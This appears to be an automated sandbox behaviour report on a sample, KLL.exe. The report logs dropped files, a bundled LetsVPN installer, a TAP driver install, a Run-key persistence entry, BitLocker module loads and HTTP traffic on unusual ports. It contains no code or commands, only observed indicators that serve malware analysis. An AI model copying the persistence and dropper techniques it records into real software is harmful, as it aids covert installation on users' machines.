Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Claims.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-MO\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Management.Automation.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Xml.dll	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\ProgramData\33100\Wo077~m7\uc_guilib.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.dll	Jump to dropped file

Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\33100\Wo077~m7\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\33100\Wo077~m7\s	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\ProgramData\33100\Wo077~m7\uc_guilib.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\letsvpn-latest.exe	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\33100\Wo077~m7\vcruntime140.dll	Jump to dropped file

Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\tap0901.sys (copy)	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\tap0901.sys (copy)	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\SETC9A3.tmp	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\SETD038.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\KLL.exe

File created: C:\ProgramData\33100\Wo077~m7\s

Jump to dropped file

Source: C:\Windows\System32\drvinst.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tap0901

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Linkage

Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\LetsVPN.lnk
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\Uninstall.lnk

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LetsPRO
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LetsPRO

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 15628
Source: unknown	Network traffic detected: HTTP traffic on port 15628 -> 49715

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_6C68B15E IsIconic,

16_2_6C68B15E

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_0000000180010D40 EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0000000180010D40

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Lets userHabit

Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\KLL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mmc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\letsvpn-latest.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\letsvpn-latest.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\letsvpn-latest.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
